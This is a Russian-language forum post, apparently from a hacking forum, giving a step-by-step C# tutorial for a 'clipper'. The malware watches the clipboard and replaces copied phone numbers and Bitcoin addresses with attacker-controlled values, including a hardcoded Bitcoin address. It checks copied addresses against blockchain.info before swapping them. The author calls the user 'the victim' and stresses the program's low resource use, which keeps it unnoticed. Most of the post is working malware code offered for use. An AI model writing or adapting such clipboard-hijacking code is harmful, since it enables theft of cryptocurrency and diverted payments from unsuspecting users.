Пишем клипер на C#

Stass

Проверка на авторские статьи.
Главный редактор
Статус
Offline
С нами
Сообщения
169
Симпатии
6
Розыгрыши
0
#1
Для начала объясню что же такое клипер - данная софтина будет подменять скопированные пользователем данные на нужные нам. Например кошельки вебмани, яндекс денег, фрукт киви, криптовалюты и т.д.

Сегодня мы с вами напишем простенький клипер на c# который будет подменять номер телефона и (внимание!) НА 100% подменять биткоин кошелек.

Создаём проект, ставим версию Фреймворка на 3.5.

Нам нужны вот эти библиотеки:
Код:
using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Windows.Forms;
using ClipboardHelper;
Далее создаем событие изменения буфера обмена, назовем его "Clip":
Код:
static void Clip(ClipboardFormat format, object data)
        {
            Regex myReg1 = new Regex(@"((\+38|8)[ ]?)?([(]?\d{3}[)]?[\- ]?)?[\d\-]{6,14}"); //Номер телефона
            Regex myReg2 = new Regex(@"^(?=.*[0-9])(?=.*[a-zA-Z])[\da-zA-Z]{27,34}$"); //Биткоин
            string bufertext = Clipboard.GetText();
            if (myReg1.IsMatch(bufertext))
                Clipboard.SetText("Номер телефона");
            else if (myReg2.IsMatch(bufertext) && GET("https://blockchain.info/ru/q/addresstohash/",bufertext) != "0")
                Clipboard.SetText("16JpwbFNzQGAbfJPJgR7MNs9EPTfbK5bsh");
        }
В данном примере мы видем две регулярки:
Код:
Regex myReg1 = new Regex(@"((\+38|8)[ ]?)?([(]?\d{3}[)]?[\- ]?)?[\d\-]{6,14}");
Regex myReg2 = new Regex(@"^(?=.*[0-9])(?=.*[a-zA-Z])[\da-zA-Z]{27,34}$");
Первая определяет что в строке находится номер телефона, а вторая определяет что в строке находится кошелек биткоинов.
В данном случае строкой является то что жертва скопировала в буфер обмена.
Но есть большое "НО"! Регулярки не могут на 100% знать что в строке действительно биткоины, они лишь способны сказать что данный текст похож на номер BTC.
По этому мы обратимся к API BTC и спросим у них "Слышь бро, подскажи ка, эти битки существуют?", на что он нам даст точный ответ и мы будем уверены подменять сейчас буфер обмена или нет.


По этому создадим статическую переменную типа string и назовем ее GET:
Код:
static string GET(string URL, string param)
        {
            try
            {
                WebRequest req = WebRequest.Create(URL + param);
                WebResponse resp = req.GetResponse();
                Stream stream = resp.GetResponseStream();
                StreamReader sr = new StreamReader(stream);
                string OUT = sr.ReadToEnd();
                return OUT;
            }
            catch { return "0"; }
Незабываем обернуть код в try catch ибо если скопируеться не существующий биток мы получим исключение.

Теперь в main запустим наш обработчик таким вот образом:
Код:
ClipboardMonitor.OnClipboardChange += Clip;
ClipboardMonitor.Start();
Запускаем и проверяем:
Загрузка ЦП: 0% (при копировании поднимается на секунду до 0,1%)
Загрузка сети: 0% (при копировании битков - 0,1%)
Память: 3.5МБ (если консоль не скрыта то 6МБ, в режиме отладки до 11МБ).